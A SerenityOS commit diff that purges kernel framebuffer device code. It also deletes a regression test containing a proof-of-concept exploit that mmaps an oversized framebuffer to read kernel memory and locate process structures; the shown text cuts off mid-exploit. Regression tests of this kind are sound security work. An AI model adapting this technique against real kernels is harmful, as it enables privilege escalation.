diff options
author | Liav A <liavalb@gmail.com> | 2022-04-30 15:27:42 +0300 |
---|---|---|
committer | Andreas Kling <kling@serenityos.org> | 2022-05-05 20:55:57 +0200 |
commit | e301af8352c50dc76234aa767d5a18f6ff52d86e (patch) | |
tree | 668053495c06812b151f56836b8ecead7e07caeb | |
parent | aad968cc5e099bfa480c3cd67af5ef092b1b15f3 (diff) | |
download | serenity-e301af8352c50dc76234aa767d5a18f6ff52d86e.zip |
Everywhere: Purge all support and usage of framebuffer devices
Long live the DisplayConnector object!
25 files changed, 90 insertions, 995 deletions
diff --git a/Base/etc/WindowServer.ini b/Base/etc/WindowServer.ini index 6670a366a1..5f721b86c3 100644 --- a/Base/etc/WindowServer.ini +++ b/Base/etc/WindowServer.ini @@ -2,7 +2,7 @@ MainScreen=0 [Screen0] -Mode=DisplayConnectorDevice +Mode=Device Device=/dev/gpu/connector0 Left=0 Top=0 diff --git a/Kernel/API/FB.h b/Kernel/API/FB.h index 17ea2963ad..bb89042548 100644 --- a/Kernel/API/FB.h +++ b/Kernel/API/FB.h @@ -18,32 +18,6 @@ ALWAYS_INLINE int graphics_connector_get_properties(int fd, GraphicsConnectorPro return ioctl(fd, GRAPHICS_IOCTL_GET_PROPERTIES, info); } -// FIXME: Remove this once framebuffer devices are removed. -ALWAYS_INLINE int fb_get_head_properties(int fd, FBHeadProperties* info) -{ - return ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_PROPERTIES, info); -} - -// FIXME: Remove this once framebuffer devices are removed. -ALWAYS_INLINE int fb_get_resolution(int fd, FBHeadResolution* info) -{ - FBHeadProperties head_properties; - head_properties.head_index = info->head_index; - if (auto rc = ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_PROPERTIES, &head_properties); rc < 0) - return rc; - info->head_index = head_properties.head_index; - info->pitch = head_properties.pitch; - info->width = head_properties.width; - info->height = head_properties.height; - return 0; -} - -// FIXME: Remove this once framebuffer devices are removed. -ALWAYS_INLINE int fb_set_resolution(int fd, FBHeadResolution* info) -{ - return ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, info); -} - ALWAYS_INLINE int graphics_connector_get_head_edid(int fd, GraphicsHeadEDID* info) { return ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_EDID, info); diff --git a/Kernel/CMakeLists.txt b/Kernel/CMakeLists.txt index 94358be3fa..7f7c86ba72 100644 --- a/Kernel/CMakeLists.txt +++ b/Kernel/CMakeLists.txt @@ -83,7 +83,6 @@ set(KERNEL_SOURCES Graphics/Console/TextModeConsole.cpp Graphics/Console/VGAConsole.cpp Graphics/DisplayConnector.cpp - Graphics/FramebufferDevice.cpp Graphics/GraphicsManagement.cpp Graphics/Intel/NativeDisplayConnector.cpp Graphics/Intel/NativeGraphicsAdapter.cpp @@ -95,7 +94,6 @@ set(KERNEL_SOURCES Graphics/VirtIOGPU/Console.cpp Graphics/VirtIOGPU/GPU3DDevice.cpp Graphics/VirtIOGPU/GraphicsAdapter.cpp - Graphics/GenericFramebufferDevice.cpp SanCov.cpp Storage/ATA/AHCIController.cpp Storage/ATA/AHCIPort.cpp diff --git a/Kernel/Graphics/Bochs/GraphicsAdapter.h b/Kernel/Graphics/Bochs/GraphicsAdapter.h index 6dd1badb98..e6ea481cc5 100644 --- a/Kernel/Graphics/Bochs/GraphicsAdapter.h +++ b/Kernel/Graphics/Bochs/GraphicsAdapter.h @@ -10,7 +10,6 @@ #include <Kernel/Bus/PCI/Device.h> #include <Kernel/Graphics/Bochs/Definitions.h> #include <Kernel/Graphics/Console/GenericFramebufferConsole.h> -#include <Kernel/Graphics/FramebufferDevice.h> #include <Kernel/Graphics/GenericGraphicsAdapter.h> #include <Kernel/Memory/TypedMapping.h> #include <Kernel/PhysicalAddress.h> diff --git a/Kernel/Graphics/FramebufferDevice.cpp b/Kernel/Graphics/FramebufferDevice.cpp deleted file mode 100644 index 853abe0c76..0000000000 --- a/Kernel/Graphics/FramebufferDevice.cpp +++ /dev/null @@ -1,258 +0,0 @@ -/* - * Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il> - * - * SPDX-License-Identifier: BSD-2-Clause - */ - -#include <AK/Checked.h> -#include <AK/Try.h> -#include <Kernel/API/POSIX/errno.h> -#include <Kernel/Debug.h> -#include <Kernel/Devices/DeviceManagement.h> -#include <Kernel/Graphics/FramebufferDevice.h> -#include <Kernel/Graphics/GraphicsManagement.h> -#include <Kernel/Memory/AnonymousVMObject.h> -#include <Kernel/Memory/MemoryManager.h> -#include <Kernel/Process.h> -#include <Kernel/Sections.h> -#include <LibC/sys/ioctl_numbers.h> - -namespace Kernel { - -NonnullRefPtr<FramebufferDevice> FramebufferDevice::create(GenericGraphicsAdapter const& adapter, PhysicalAddress paddr, size_t width, size_t height, size_t pitch) -{ - auto framebuffer_device_or_error = DeviceManagement::try_create_device<FramebufferDevice>(adapter, paddr, width, height, pitch); - // FIXME: Find a way to propagate errors - VERIFY(!framebuffer_device_or_error.is_error()); - return framebuffer_device_or_error.release_value(); -} - -ErrorOr<Memory::Region*> FramebufferDevice::mmap(Process& process, OpenFileDescription&, Memory::VirtualRange const& range, u64 offset, int prot, bool shared) -{ - TRY(process.require_promise(Pledge::video)); - SpinlockLocker lock(m_activation_lock); - if (!shared) - return ENODEV; - if (offset != 0) - return ENXIO; - auto framebuffer_length = TRY(buffer_length(0)); - framebuffer_length = TRY(Memory::page_round_up(framebuffer_length)); - if (range.size() != framebuffer_length) - return EOVERFLOW; - - m_userspace_real_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_for_physical_range(m_framebuffer_address, framebuffer_length)); - m_real_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_for_physical_range(m_framebuffer_address, framebuffer_length)); - m_swapped_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_with_size(framebuffer_length, AllocationStrategy::AllocateNow)); - m_real_framebuffer_region = TRY(MM.allocate_kernel_region_with_vmobject(*m_real_framebuffer_vmobject, framebuffer_length, "Framebuffer", Memory::Region::Access::ReadWrite)); - m_swapped_framebuffer_region = TRY(MM.allocate_kernel_region_with_vmobject(*m_swapped_framebuffer_vmobject, framebuffer_length, "Framebuffer Swap (Blank)", Memory::Region::Access::ReadWrite)); - - RefPtr<Memory::VMObject> chosen_vmobject; - if (m_graphical_writes_enabled) { - chosen_vmobject = m_real_framebuffer_vmobject; - } else { - chosen_vmobject = m_swapped_framebuffer_vmobject; - } - m_userspace_framebuffer_region = TRY(process.address_space().allocate_region_with_vmobject( - range, - chosen_vmobject.release_nonnull(), - 0, - "Framebuffer", - prot, - shared)); - if (m_write_combine) { - if (auto result = m_userspace_framebuffer_region->set_write_combine(true); result.is_error()) - dbgln("FramebufferDevice: Failed to enable Write-Combine on Framebuffer: {}", result.error()); - } - return m_userspace_framebuffer_region; -} - -void FramebufferDevice::deactivate_writes() -{ - SpinlockLocker lock(m_activation_lock); - if (!m_userspace_framebuffer_region) - return; - auto framebuffer_length_or_error = buffer_length(0); - VERIFY(!framebuffer_length_or_error.is_error()); - size_t rounded_framebuffer_length = Memory::page_round_up(framebuffer_length_or_error.release_value()).release_value_but_fixme_should_propagate_errors(); - memcpy(m_swapped_framebuffer_region->vaddr().as_ptr(), m_real_framebuffer_region->vaddr().as_ptr(), rounded_framebuffer_length); - auto vmobject = m_swapped_framebuffer_vmobject; - m_userspace_framebuffer_region->set_vmobject(vmobject.release_nonnull()); - m_userspace_framebuffer_region->remap(); - m_graphical_writes_enabled = false; -} -void FramebufferDevice::activate_writes() -{ - SpinlockLocker lock(m_activation_lock); - if (!m_userspace_framebuffer_region || !m_real_framebuffer_vmobject) - return; - // restore the image we had in the void area - // FIXME: if we happen to have multiple Framebuffers that are writing to that location - // we will experience glitches... - auto framebuffer_length_or_error = buffer_length(0); - VERIFY(!framebuffer_length_or_error.is_error()); - - size_t rounded_framebuffer_length = Memory::page_round_up(framebuffer_length_or_error.release_value()).release_value_but_fixme_should_propagate_errors(); - memcpy(m_real_framebuffer_region->vaddr().as_ptr(), m_swapped_framebuffer_region->vaddr().as_ptr(), rounded_framebuffer_length); - auto vmobject = m_userspace_real_framebuffer_vmobject; - m_userspace_framebuffer_region->set_vmobject(vmobject.release_nonnull()); - m_userspace_framebuffer_region->remap(); - m_graphical_writes_enabled = true; -} - -UNMAP_AFTER_INIT ErrorOr<void> FramebufferDevice::try_to_initialize() -{ - // FIXME: Would be nice to be able to unify this with mmap above, but this - // function is UNMAP_AFTER_INIT for the time being. - auto framebuffer_length = TRY(buffer_length(0)); - framebuffer_length = TRY(Memory::page_round_up(framebuffer_length)); - m_real_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_for_physical_range(m_framebuffer_address, framebuffer_length)); - m_swapped_framebuffer_vmobject = TRY(Memory::AnonymousVMObject::try_create_with_size(framebuffer_length, AllocationStrategy::AllocateNow)); - m_real_framebuffer_region = TRY(MM.allocate_kernel_region_with_vmobject(*m_real_framebuffer_vmobject, framebuffer_length, "Framebuffer", Memory::Region::Access::ReadWrite)); - m_swapped_framebuffer_region = TRY(MM.allocate_kernel_region_with_vmobject(*m_swapped_framebuffer_vmobject, framebuffer_length, "Framebuffer Swap (Blank)", Memory::Region::Access::ReadWrite)); - return {}; -} - -UNMAP_AFTER_INIT FramebufferDevice::FramebufferDevice(GenericGraphicsAdapter const& adapter, PhysicalAddress addr, size_t width, size_t height, size_t pitch) - : GenericFramebufferDevice(adapter) - , m_framebuffer_address(addr) - , m_framebuffer_pitch(pitch) - , m_framebuffer_width(width) - , m_framebuffer_height(height) -{ - VERIFY(!m_framebuffer_address.is_null()); - VERIFY(m_framebuffer_pitch); - VERIFY(m_framebuffer_width); - VERIFY(m_framebuffer_height); - dbgln("Framebuffer {}: address={}, pitch={}, width={}, height={}", minor(), addr, pitch, width, height); -} - -ErrorOr<size_t> FramebufferDevice::buffer_length(size_t head) const -{ - // Note: This FramebufferDevice class doesn't support multihead setup. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally have a value different than 0, assert. - VERIFY(head == 0); - SpinlockLocker locker(m_resolution_lock); - auto adapter = m_graphics_adapter.strong_ref(); - if (!adapter) - return Error::from_errno(EIO); - if (adapter->double_framebuffering_capable()) - return m_framebuffer_pitch * m_framebuffer_height * 2; - return m_framebuffer_pitch * m_framebuffer_height; -} - -ErrorOr<size_t> FramebufferDevice::pitch(size_t head) const -{ - // Note: This FramebufferDevice class doesn't support multihead setup. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally have a value different than 0, assert. - VERIFY(head == 0); - SpinlockLocker locker(m_resolution_lock); - return m_framebuffer_pitch; -} -ErrorOr<size_t> FramebufferDevice::height(size_t head) const -{ - // Note: This FramebufferDevice class doesn't support multihead setup. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally have a value different than 0, assert. - VERIFY(head == 0); - SpinlockLocker locker(m_resolution_lock); - return m_framebuffer_height; -} -ErrorOr<size_t> FramebufferDevice::width(size_t head) const -{ - // Note: This FramebufferDevice class doesn't support multihead setup. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally have a value different than 0, assert. - VERIFY(head == 0); - SpinlockLocker locker(m_resolution_lock); - return m_framebuffer_width; -} -ErrorOr<size_t> FramebufferDevice::vertical_offset(size_t head) const -{ - // Note: This FramebufferDevice class doesn't support multihead setup. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally have a value different than 0, assert. - VERIFY(head == 0); - SpinlockLocker locker(m_buffer_offset_lock); - return m_y_offset; -} -ErrorOr<bool> FramebufferDevice::vertical_offsetted(size_t head) const -{ - // Note: This FramebufferDevice class doesn't support multihead setup. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally have a value different than 0, assert. - VERIFY(head == 0); - SpinlockLocker locker(m_buffer_offset_lock); - return m_y_offset == 0 ? 0 : 1; -} - -ErrorOr<void> FramebufferDevice::set_head_resolution(size_t head, size_t width, size_t height, size_t) -{ - // Note: This FramebufferDevice class doesn't support multihead setup. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally have a value different than 0, assert. - VERIFY(head == 0); - SpinlockLocker buffer_offset_locker(m_buffer_offset_lock); - SpinlockLocker resolution_locker(m_resolution_lock); - auto adapter = m_graphics_adapter.strong_ref(); - if (!adapter) - return Error::from_errno(EIO); - auto result = adapter->try_to_set_resolution(0, width, height); - // FIXME: Find a better way to return here a ErrorOr<void>. - if (!result) - return Error::from_errno(ENOTSUP); - m_framebuffer_width = width; - m_framebuffer_height = height; - m_framebuffer_pitch = width * sizeof(u32); - return {}; -} -ErrorOr<void> FramebufferDevice::set_head_buffer(size_t head, bool second_buffer) -{ - // Note: This FramebufferDevice class doesn't support multihead setup. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally have a value different than 0, assert. - VERIFY(head == 0); - SpinlockLocker locker(m_buffer_offset_lock); - auto adapter = m_graphics_adapter.strong_ref(); - if (!adapter) - return Error::from_errno(EIO); - if (second_buffer) { - if (!adapter->set_y_offset(0, m_framebuffer_height)) { - // FIXME: Find a better ErrorOr<void> here. - return Error::from_errno(ENOTSUP); - } - m_y_offset = m_framebuffer_height; - } else { - if (!adapter->set_y_offset(0, 0)) { - // FIXME: Find a better ErrorOr<void> here. - return Error::from_errno(ENOTSUP); - } - m_y_offset = 0; - } - return {}; -} -ErrorOr<void> FramebufferDevice::flush_head_buffer(size_t) -{ - // Note: This FramebufferDevice class doesn't support flushing. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally reach this code, assert. - VERIFY_NOT_REACHED(); -} -ErrorOr<void> FramebufferDevice::flush_rectangle(size_t, FBRect const&) -{ - // Note: This FramebufferDevice class doesn't support partial flushing. - // We take care to verify this at the GenericFramebufferDevice::ioctl method - // so if we happen to accidentally reach this code, assert. - VERIFY_NOT_REACHED(); -} - -ErrorOr<ByteBuffer> FramebufferDevice::get_edid(size_t head) const -{ - auto adapter = m_graphics_adapter.strong_ref(); - if (!adapter) - return Error::from_errno(EIO); - return adapter->get_edid(head); -} - -} diff --git a/Kernel/Graphics/FramebufferDevice.h b/Kernel/Graphics/FramebufferDevice.h deleted file mode 100644 index acdc4e3ec8..0000000000 --- a/Kernel/Graphics/FramebufferDevice.h +++ /dev/null @@ -1,77 +0,0 @@ -/* - * Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il> - * - * SPDX-License-Identifier: BSD-2-Clause - */ - -#pragma once - -#include <AK/NonnullOwnPtr.h> -#include <AK/Types.h> -#include <Kernel/Graphics/GenericFramebufferDevice.h> -#include <Kernel/Graphics/GenericGraphicsAdapter.h> -#include <Kernel/Locking/Spinlock.h> -#include <Kernel/Memory/AnonymousVMObject.h> -#include <Kernel/PhysicalAddress.h> - -namespace Kernel { - -class FramebufferDevice final : public GenericFramebufferDevice { - friend class DeviceManagement; - -public: - static NonnullRefPtr<FramebufferDevice> create(GenericGraphicsAdapter const&, PhysicalAddress, size_t, size_t, size_t); - - virtual ErrorOr<Memory::Region*> mmap(Process&, OpenFileDescription&, Memory::VirtualRange const&, u64 offset, int prot, bool shared) override; - - virtual void deactivate_writes() override; - virtual void activate_writes() override; - - virtual ErrorOr<void> try_to_initialize() override; - - virtual bool multihead_support() const override { return false; } - virtual bool flushing_support() const override { return false; } - virtual bool partial_flushing_support() const override { return false; } - virtual size_t heads_count() const override { return 1; } - virtual ErrorOr<size_t> buffer_length(size_t head) const override; - virtual ErrorOr<size_t> pitch(size_t head) const override; - virtual ErrorOr<size_t> height(size_t head) const override; - virtual ErrorOr<size_t> width(size_t head) const override; - virtual ErrorOr<size_t> vertical_offset(size_t head) const override; - virtual ErrorOr<bool> vertical_offsetted(size_t head) const override; - - virtual ErrorOr<ByteBuffer> get_edid(size_t head) const override; - - void enable_write_combine(bool write_combine) { m_write_combine = write_combine; } - -private: - virtual ErrorOr<void> set_head_resolution(size_t head, size_t width, size_t height, size_t pitch) override; - virtual ErrorOr<void> set_head_buffer(size_t head, bool second_buffer) override; - virtual ErrorOr<void> flush_head_buffer(size_t head) override; - virtual ErrorOr<void> flush_rectangle(size_t head, FBRect const&) override; - - FramebufferDevice(GenericGraphicsAdapter const&, PhysicalAddress, size_t, size_t, size_t); - - PhysicalAddress m_framebuffer_address; - size_t m_framebuffer_pitch { 0 }; - size_t m_framebuffer_width { 0 }; - size_t m_framebuffer_height { 0 }; - - Spinlock m_activation_lock; - mutable Spinlock m_buffer_offset_lock; - - RefPtr<Memory::AnonymousVMObject> m_real_framebuffer_vmobject; - RefPtr<Memory::AnonymousVMObject> m_swapped_framebuffer_vmobject; - OwnPtr<Memory::Region> m_real_framebuffer_region; - OwnPtr<Memory::Region> m_swapped_framebuffer_region; - - bool m_graphical_writes_enabled { true }; - bool m_write_combine { true }; - - RefPtr<Memory::AnonymousVMObject> m_userspace_real_framebuffer_vmobject; - Memory::Region* m_userspace_framebuffer_region { nullptr }; - - size_t m_y_offset { 0 }; -}; - -} diff --git a/Kernel/Graphics/GenericFramebufferDevice.cpp b/Kernel/Graphics/GenericFramebufferDevice.cpp deleted file mode 100644 index 73b0aa0ee1..0000000000 --- a/Kernel/Graphics/GenericFramebufferDevice.cpp +++ /dev/null @@ -1,158 +0,0 @@ -/* - * Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il> - * - * SPDX-License-Identifier: BSD-2-Clause - */ - -#include <AK/Checked.h> -#include <AK/Try.h> -#include <Kernel/API/POSIX/errno.h> -#include <Kernel/Debug.h> -#include <Kernel/Devices/DeviceManagement.h> -#include <Kernel/Graphics/FramebufferDevice.h> -#include <Kernel/Graphics/GraphicsManagement.h> -#include <Kernel/Memory/AnonymousVMObject.h> -#include <Kernel/Memory/MemoryManager.h> -#include <Kernel/Process.h> -#include <Kernel/Sections.h> -#include <Kernel/StdLib.h> - -#define MAX_RESOLUTION_WIDTH 4096 -#define MAX_RESOLUTION_HEIGHT 2160 - -namespace Kernel { - -ErrorOr<void> GenericFramebufferDevice::verify_head_index(int head_index) const -{ - if (head_index < 0) - return Error::from_errno(EINVAL); - if (!multihead_support() && head_index > 0) - return Error::from_errno(ENOTSUP); - return {}; -} - -ErrorOr<void> GenericFramebufferDevice::ioctl(OpenFileDescription&, unsigned request, Userspace<void*> arg) -{ - if (request != GRAPHICS_IOCTL_GET_HEAD_EDID) { - // Allow anyone to query the EDID. Eventually we'll publish the current EDID on /sys - // so it doesn't really make sense to require the video pledge to query it. - TRY(Process::current().require_promise(Pledge::video)); - } - switch (request) { - case GRAPHICS_IOCTL_GET_PROPERTIES: { - auto user_properties = static_ptr_cast<GraphicsConnectorProperties*>(arg); - GraphicsConnectorProperties properties {}; - auto adapter = m_graphics_adapter.strong_ref(); - if (!adapter) - return Error::from_errno(EIO); - properties.multihead_support = multihead_support(); - properties.flushing_support = flushing_support(); - properties.doublebuffer_support = adapter->double_framebuffering_capable(); - properties.partial_flushing_support = partial_flushing_support(); - return copy_to_user(user_properties, &properties); - } - case GRAPHICS_IOCTL_GET_HEAD_PROPERTIES: { - auto user_head_properties = static_ptr_cast<FBHeadProperties*>(arg); - FBHeadProperties head_properties {}; - TRY(copy_from_user(&head_properties, user_head_properties)); - TRY(verify_head_index(head_properties.head_index)); - - head_properties.pitch = TRY(pitch(head_properties.head_index)); - head_properties.width = TRY(width(head_properties.head_index)); - head_properties.height = TRY(height(head_properties.head_index)); - head_properties.buffer_length = TRY(buffer_length(head_properties.head_index)); - head_properties.offset = TRY(vertical_offset(head_properties.head_index)); - return copy_to_user(user_head_properties, &head_properties); - } - case GRAPHICS_IOCTL_GET_HEAD_EDID: { - auto user_head_edid = static_ptr_cast<GraphicsHeadEDID*>(arg); - GraphicsHeadEDID head_edid {}; - TRY(copy_from_user(&head_edid, user_head_edid)); - TRY(verify_head_index(head_edid.head_index)); - - auto edid_bytes = TRY(get_edid(head_edid.head_index)); - if (head_edid.bytes != nullptr) { - // Only return the EDID if a buffer was provided. Either way, - // we'll write back the bytes_size with the actual size - if (head_edid.bytes_size < edid_bytes.size()) { - head_edid.bytes_size = edid_bytes.size(); - TRY(copy_to_user(user_head_edid, &head_edid)); - return Error::from_errno(EOVERFLOW); - } - TRY(copy_to_user(head_edid.bytes, (void const*)edid_bytes.data(), edid_bytes.size())); - } - head_edid.bytes_size = edid_bytes.size(); - return copy_to_user(user_head_edid, &head_edid); - } - case GRAPHICS_IOCTL_SET_HEAD_RESOLUTION: { - auto user_head_resolution = static_ptr_cast<FBHeadResolution const*>(arg); - auto head_resolution = TRY(copy_typed_from_user(user_head_resolution)); - TRY(verify_head_index(head_resolution.head_index)); - - if (head_resolution.pitch < 0) - return Error::from_errno(EINVAL); - if (head_resolution.width < 0) - return Error::from_errno(EINVAL); - if (head_resolution.height < 0) - return Error::from_errno(EINVAL); - TRY(set_head_resolution(head_resolution.head_index, head_resolution.width, head_resolution.height, head_resolution.pitch)); - return {}; - } - case GRAPHICS_IOCTL_SET_HEAD_VERTICAL_OFFSET_BUFFER: { - auto user_head_vertical_buffer_offset = static_ptr_cast<GraphicsHeadVerticalOffset const*>(arg); - auto head_vertical_buffer_offset = TRY(copy_typed_from_user(user_head_vertical_buffer_offset)); - TRY(verify_head_index(head_vertical_buffer_offset.head_index)); - - if (head_vertical_buffer_offset.offsetted < 0 || head_vertical_buffer_offset.offsetted > 1) - return Error::from_errno(EINVAL); - TRY(set_head_buffer(head_vertical_buffer_offset.head_index, head_vertical_buffer_offset.offsetted)); - return {}; - } - case GRAPHICS_IOCTL_GET_HEAD_VERTICAL_OFFSET_BUFFER: { - auto user_head_vertical_buffer_offset = static_ptr_cast<GraphicsHeadVerticalOffset*>(arg); - GraphicsHeadVerticalOffset head_vertical_buffer_offset {}; - TRY(copy_from_user(&head_vertical_buffer_offset, user_head_vertical_buffer_offset)); - TRY(verify_head_index(head_vertical_buffer_offset.head_index)); - - head_vertical_buffer_offset.offsetted = TRY(vertical_offsetted(head_vertical_buffer_offset.head_index)); - return copy_to_user(user_head_vertical_buffer_offset, &head_vertical_buffer_offset); - } - case GRAPHICS_IOCTL_FLUSH_HEAD_BUFFERS: { - if (!partial_flushing_support()) - return Error::from_errno(ENOTSUP); - auto user_flush_rects = static_ptr_cast<FBFlushRects const*>(arg); - auto flush_rects = TRY(copy_typed_from_user(user_flush_rects)); - if (Checked<unsigned>::multiplication_would_overflow(flush_rects.count, sizeof(FBRect))) - return Error::from_errno(EFAULT); - SpinlockLocker locker(m_flushing_lock); - if (flush_rects.count > 0) { - for (unsigned i = 0; i < flush_rects.count; i++) { - FBRect user_dirty_rect; - TRY(copy_from_user(&user_dirty_rect, &flush_rects.rects[i])); - TRY(flush_rectangle(flush_rects.buffer_index, user_dirty_rect)); - } - } - return {}; - }; - case GRAPHICS_IOCTL_FLUSH_HEAD: { - if (!flushing_support()) - return Error::from_errno(ENOTSUP); - // Note: We accept a FBRect, but we only really care about the head_index value. - auto user_rect = static_ptr_cast<FBRect const*>(arg); - auto rect = TRY(copy_typed_from_user(user_rect)); - TRY(verify_head_index(rect.head_index)); - TRY(flush_head_buffer(rect.head_index)); - return {}; - } - default: - return EINVAL; - }; -} - -GenericFramebufferDevice::GenericFramebufferDevice(GenericGraphicsAdapter const& adapter) - : BlockDevice(29, GraphicsManagement::the().allocate_minor_device_number()) - , m_graphics_adapter(adapter) -{ -} - -} diff --git a/Kernel/Graphics/GenericFramebufferDevice.h b/Kernel/Graphics/GenericFramebufferDevice.h deleted file mode 100644 index 1d230d4451..0000000000 --- a/Kernel/Graphics/GenericFramebufferDevice.h +++ /dev/null @@ -1,70 +0,0 @@ -/* - * Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il> - * - * SPDX-License-Identifier: BSD-2-Clause - */ - -#pragma once - -#include <AK/Error.h> -#include <AK/Types.h> -#include <Kernel/Devices/BlockDevice.h> -#include <Kernel/Graphics/GenericGraphicsAdapter.h> -#include <Kernel/Locking/Spinlock.h> -#include <LibC/sys/ioctl_numbers.h> - -namespace Kernel { - -class GenericFramebufferDevice : public BlockDevice { - friend class DeviceManagement; - -public: - virtual ErrorOr<void> try_to_initialize() = 0; - - virtual void deactivate_writes() = 0; - virtual void activate_writes() = 0; - - virtual ~GenericFramebufferDevice() = default; - - // ^File - virtual ErrorOr<Memory::Region*> mmap(Process&, OpenFileDescription&, Memory::VirtualRange const&, u64 offset, int prot, bool shared) override = 0; - virtual ErrorOr<void> ioctl(OpenFileDescription&, unsigned request, Userspace<void*> arg) override final; - virtual StringView class_name() const override final { return "FramebufferDevice"sv; } - -private: - // ^File - virtual bool can_read(OpenFileDescription const&, u64) const override final { return true; } - virtual bool can_write(OpenFileDescription const&, u64) const override final { return true; } - virtual void start_request(AsyncBlockDeviceRequest& request) override final { request.complete(AsyncDeviceRequest::Failure); } - virtual ErrorOr<size_t> read(OpenFileDescription&, u64, UserOrKernelBuffer&, size_t) override { return EINVAL; } - virtual ErrorOr<size_t> write(OpenFileDescription&, u64, UserOrKernelBuffer const&, size_t) override { return EINVAL; } - -protected: - virtual bool multihead_support() const = 0; - virtual bool flushing_support() const = 0; - virtual bool partial_flushing_support() const = 0; - virtual size_t heads_count() const = 0; - virtual ErrorOr<size_t> buffer_length(size_t head) const = 0; - virtual ErrorOr<size_t> pitch(size_t head) const = 0; - virtual ErrorOr<size_t> height(size_t head) const = 0; - virtual ErrorOr<size_t> width(size_t head) const = 0; - virtual ErrorOr<size_t> vertical_offset(size_t head) const = 0; - virtual ErrorOr<bool> vertical_offsetted(size_t head) const = 0; - - virtual ErrorOr<void> set_head_resolution(size_t head, size_t width, size_t height, size_t pitch) = 0; - virtual ErrorOr<void> set_head_buffer(size_t head, bool second_buffer) = 0; - virtual ErrorOr<void> flush_head_buffer(size_t head) = 0; - // FIXME: This method is too much specific to the VirtIO implementation (especially the buffer_index parameter) - virtual ErrorOr<void> flush_rectangle(size_t buffer_index, FBRect const&) = 0; - - virtual ErrorOr<ByteBuffer> get_edid(size_t head) const = 0; - - ErrorOr<void> verify_head_index(int head_index) const; - - GenericFramebufferDevice(GenericGraphicsAdapter const&); - mutable WeakPtr<GenericGraphicsAdapter> m_graphics_adapter; - mutable Spinlock m_flushing_lock; - mutable Spinlock m_resolution_lock; -}; - -} diff --git a/Kernel/Graphics/VGA/ISAAdapter.h b/Kernel/Graphics/VGA/ISAAdapter.h index 8ca0623c14..45faf5c0ec 100644 --- a/Kernel/Graphics/VGA/ISAAdapter.h +++ b/Kernel/Graphics/VGA/ISAAdapter.h @@ -9,7 +9,6 @@ #include <AK/Types.h> #include <Kernel/Bus/PCI/Device.h> #include <Kernel/Graphics/Console/Console.h> -#include <Kernel/Graphics/FramebufferDevice.h> #include <Kernel/Graphics/GenericGraphicsAdapter.h> #include <Kernel/Graphics/VGA/VGACompatibleAdapter.h> #include <Kernel/PhysicalAddress.h> diff --git a/Kernel/Graphics/VGA/PCIAdapter.h b/Kernel/Graphics/VGA/PCIAdapter.h index 94241faf25..fe9d0485bf 100644 --- a/Kernel/Graphics/VGA/PCIAdapter.h +++ b/Kernel/Graphics/VGA/PCIAdapter.h @@ -9,7 +9,6 @@ #include <AK/Types.h> #include <Kernel/Bus/PCI/Device.h> #include <Kernel/Graphics/Console/Console.h> -#include <Kernel/Graphics/FramebufferDevice.h> #include <Kernel/Graphics/GenericGraphicsAdapter.h> #include <Kernel/PhysicalAddress.h> diff --git a/Tests/Kernel/CMakeLists.txt b/Tests/Kernel/CMakeLists.txt index 61d51e68a8..03cfb6ea3c 100644 --- a/Tests/Kernel/CMakeLists.txt +++ b/Tests/Kernel/CMakeLists.txt @@ -1,6 +1,5 @@ set(TEST_SOURCES bind-local-socket-to-symlink.cpp - bxvga-mmap-kernel-into-userspace.cpp crash-fcntl-invalid-cmd.cpp elf-execve-mmap-race.cpp elf-symbolication-kernel-read-exploit.cpp diff --git a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp deleted file mode 100644 index 545124542a..0000000000 --- a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp +++ /dev/null @@ -1,105 +0,0 @@ -/* - * Copyright (c) 2018-2020, the SerenityOS developers. - * - * SPDX-License-Identifier: BSD-2-Clause - */ - -#include <AK/Types.h> -#include <fcntl.h> -#include <stdio.h> -#include <string.h> -#include <sys/ioctl.h> -#include <sys/mman.h> -#include <unistd.h> - -int main() -{ - int fd = open("/dev/fb0", O_RDWR); - if (fd < 0) { - perror("open"); - return 1; - } - - size_t width = 17825; - size_t height = 1000; - size_t pitch = width * 4; - size_t framebuffer_size_in_bytes = pitch * height * 2; - - FBHeadProperties original_properties; - original_properties.head_index = 0; - if (ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_PROPERTIES, &original_properties) < 0) { - perror("ioctl"); - return 1; - } - - FBHeadResolution resolution; - resolution.head_index = 0; - resolution.width = width; - resolution.height = height; - resolution.pitch = pitch; - - if (ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, &resolution) < 0) { - perror("ioctl"); - return 1; - } - - auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0); - if (ptr == MAP_FAILED) { - perror("mmap"); - return 1; - } - - printf("Success! Evil pointer: %p\n", ptr); - - u8* base = &ptr[128 * MiB]; - - uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4]; - printf("base = %p\n", base); - printf("g_processes = %p\n", (void*)g_processes); - - auto get_ptr = [&](uintptr_t value) -> void* { - value -= 0xc0000000; - return (void*)&base[value]; - }; - - 